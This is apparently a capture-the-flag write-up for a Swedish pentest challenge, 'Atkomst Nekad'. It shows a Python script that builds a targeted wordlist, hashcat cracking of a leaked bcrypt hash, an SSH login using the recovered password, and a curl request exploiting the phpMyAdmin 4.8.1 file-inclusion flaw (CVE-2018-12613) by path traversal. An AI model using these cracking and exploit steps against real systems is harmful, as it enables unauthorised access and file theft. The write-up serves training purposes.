CUSTOMMediumPentest

Atkomst Nekad (Access Denied)

XESXOR9/2/20264 min read

#pentest#custom#medium#bcrypt_hash_cracking#credential_reuse_exploitation#cve_2018_12613_exploitation#internal_network_enumeration#phpmyadmin_lfi#psychological_profile_analysis#ssh_access#targeted_wordlist_generation#cve-2018-12613

Atkomst Nekad (Access Denied)

Platform: undutmaning | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-21 | Status: Solved Techniques: bcrypt_hash_cracking, credential_reuse_exploitation, cve_2018_12613_exploitation, internal_network_enumeration, phpmyadmin_lfi, psychological_profile_analysis, ssh_access, targeted_wordlist_generation

Summary

English summary: Multi-step challenge requiring OSINT from a psychological report to discover username and password patterns, bcrypt hash cracking from a Roundcube mail server backup, SSH access to an internal network, and exploitation of phpMyAdmin 4.8.1 LFI vulnerability (CVE-2018-12613) to read t

Atkomst Nekad (Access Denied) — Undutmaning

Description

CASCADAs sysadmin-team jobbar febrilt med att forsoka fa tillgang till fler delar av natverket. Tyvarr har en av deras mer centrala spelare, Pelle Patchberg, lagts in pa sjukan.

De vill komma at en SSH-server som Pelle satt upp och som fortfarande verkar vara tillganglig. Enligt vad teamet i ovrigt vet sa brukar Pelle anvanda den for att kontrollera statusen for diverse olika tjanster pa natverket, men det ar bara Pelle som har koll pa den. De andra vet varken vad det ar for anvandarnamn eller losenord.

De har forsokt prata med Pelle, men han ar for sjuk for att ge nagra anvandbara svar. Istallet har de begart ut Pelles lakarrapport och hittat en backup dump fran mailservern, som de i desperation hoppas kan vara anvandbar pa nagot satt. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Target: SSH server at challs.undutmaning.se:2222
Files provided: roundcube_bk.sql (Roundcube mail server backup), rapport.md (Pelle's psychological assessment)

Analysis

Step 1: Psychological Profile Analysis (OSINT)

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

The psychological assessment of Pelle Patchberg (sysadmin at CASCADA) revealed critical information:

Username discovery: His favorite Pokemon is Vaporeon, and he uses it as his username in IT systems where he has admin rights:

"Hans sjalvidentifikation med Vaporeon ar sa stark att han aterkommande anvander namnet som anvandarnamn i IT-systemen dar han sjalv har adminrattigheter."
Password pattern: He reuses passwords following the pattern [PokemonName][Year]:
- Example passwords mentioned: Pikachu1996, Mewtwo2000, Charmander2016
- All examples are Gen 1 Pokemon with years ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Step 2: Hash Extraction from Roundcube Backup

The SQL dump contained 300+ user accounts. Searching for "pelle" found his bcrypt hash:

 sql read-only • copy allowed
(316, 'pelle.patchberg', 'mail.cascada.ex', '$2b$12$5rudATAULHHOSLdwlDiUZOxop6szZW6tszHLPmQ91W700NnNrOrfq')

Hash type: bcrypt ($2b$, cost factor 12)

Step 3: Internal Network Discovery

After SSH access, found ~/scripts/check_services.sh revealing internal services:

Apache Webserver at 172.28.0.5:80
phpMyAdmin 4.8.1 at 172.28.0.5:80/info.php (auto-login as "cascada")
MariaDB Server at 172.28.0.10:3306 ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

The info.php page contained a hint: /var/backups/cascada/secret.txt

Step 4: Vulnerability Identification

phpMyAdmin 4.8.1 is vulnerable to CVE-2018-12613 — Local File Inclusion via the target parameter. The vulnerability allows bypassing the whitelist check using double-URL-encoded question mark (%253f) to traverse directories.

Solution

1. Generate Targeted Wordlist

 python read-only • copy allowed
#!/usr/bin/env python3
# Generate Pokemon + Year wordlist based on psychological profile hints

pokemon_gen1 = [
    "Bulbasaur", "Ivysaur", "Venusaur", "Charmander", "Charmeleon", "Charizard",
    "Squirtle", "Wartortle", "Blastoise", "Caterpie", "Metapod", "Butterfree",
    "Weedle", "Kakuna", "Beedrill", "Pidgey", "Pidgeotto", "Pidgeot",
    "Rattata", "Raticate", "Spearow", "Fearow", "Ekans", "Arbok",
    "Pikachu", "Raichu", "Sandshrew", "Sandslash", "Nidoran", "Nidorina",
    "Nidoqueen", "Nidorino", "Nidoking", "Clefairy", "Clefable", "Vulpix",
    "Ninetales", "Jigglypuff", "Wigglytuff", "Zubat", "Golbat", "Oddish",
    "Gloom", "Vileplume", "Paras", "Parasect", "Venonat", "Venomoth",
    "Diglett", "Dugtrio", "Meowth", "Persian", "Psyduck", "Golduck",
    "Mankey", "Primeape", "Growlithe", "Arcanine", "Poliwag", "Poliwhirl",
    "Poliwrath", "Abra", "Kadabra", "Alakazam", "Machop", "Machoke",
    "Machamp", "Bellsprout", "Weepinbell", "Victreebel", "Tentacool", "Tentacruel",
    "Geodude", "Graveler", "Golem", "Ponyta", "Rapidash", "Slowpoke",
    "Slowbro", "Magnemite", "Magneton", "Farfetchd", "Doduo", "Dodrio",
    "Seel", "Dewgong", "Grimer", "Muk", "Shellder", "Cloyster",
    "Gastly", "Haunter", "Gengar", "Onix", "Drowzee", "Hypno",
    "Krabby", "Kingler", "Voltorb", "Electrode", "Exeggcute", "Exeggutor",
    "Cubone", "Marowak", "Hitmonlee", "Hitmonchan", "Lickitung", "Koffing",
    "Weezing", "Rhyhorn", "Rhydon", "Chansey", "Tangela", "Kangaskhan",
    "Horsea", "Seadra", "Goldeen", "Seaking", "Staryu", "Starmie",
    "MrMime", "Scyther", "Jynx", "Electabuzz", "Magmar", "Pinsir",
    "Tauros", "Magikarp", "Gyarados", "Lapras", "Ditto", "Eevee",
    "Vaporeon", "Jolteon", "Flareon", "Porygon", "Omanyte", "Omastar",
    "Kabuto", "Kabutops", "Aerodactyl", "Snorlax", "Articuno", "Zapdos",
    "Moltres", "Dratini", "Dragonair", "Dragonite", "Mewtwo", "Mew"
]
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

years = range(1990, 2027)

with open("pokemon_wordlist.txt", "w") as f:
    # Prioritize Vaporeon (favorite) and exact examples first
    priority = ["Vaporeon", "Bulbasaur", "Pikachu", "Mewtwo", "Charmander"]
    
    for pokemon in priority:
        for year in years:
            f.write(f"{pokemon}{year}\n")
            f.write(f"{pokemon.lower()}{year}\n")
            f.write(f"{pokemon.upper()}{year}\n")
    
    for pokemon in pokemon_gen1:
        if pokemon not in priority:
            for year in years:
                f.write(f"{pokemon}{year}\n")

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

2. Crack bcrypt Hash

 bash read-only • copy allowed
# Save hash to file
echo '$2b$12$5rudATAULHHOSLdwlDiUZOxop6szZW6tszHLPmQ91W700NnNrOrfq' > hash.txt

# Crack with hashcat (bcrypt mode)
hashcat -m 3200 hash.txt pokemon_wordlist.txt

# Result: Bulbasaur1997

Verification:

 python read-only • copy allowed
import bcrypt
hash_bytes = b'$2b$12$5rudATAULHHOSLdwlDiUZOxop6szZW6tszHLPmQ91W700NnNrOrfq'
print(bcrypt.checkpw(b'Bulbasaur1997', hash_bytes))  # True

Password: Bulbasaur1997 (Bulbasaur = #001 in Pokedex, 1997 = Pokemon NA release year) ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

3. SSH Access

 bash read-only • copy allowed
sshpass -p 'Bulbasaur1997' ssh -p 2222 vaporeon@challs.undutmaning.se

4. Discover Internal Services

 bash read-only • copy allowed
# Run Pelle's service check script
~/scripts/check_services.sh

# Output shows phpMyAdmin 4.8.1 at 172.28.0.5

5. Find Flag Location

 bash read-only • copy allowed
curl -s http://172.28.0.5/info.php | grep -i flag
# Hint: /var/backups/cascada/secret.txt

6. Exploit CVE-2018-12613 (phpMyAdmin 4.8.1 LFI)

 bash read-only • copy allowed
# LFI via double-URL-encoded question mark to bypass whitelist
curl -s 'http://172.28.0.5/index.php?target=db_sql.php%253f/../../../../var/backups/cascada/secret.txt'

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍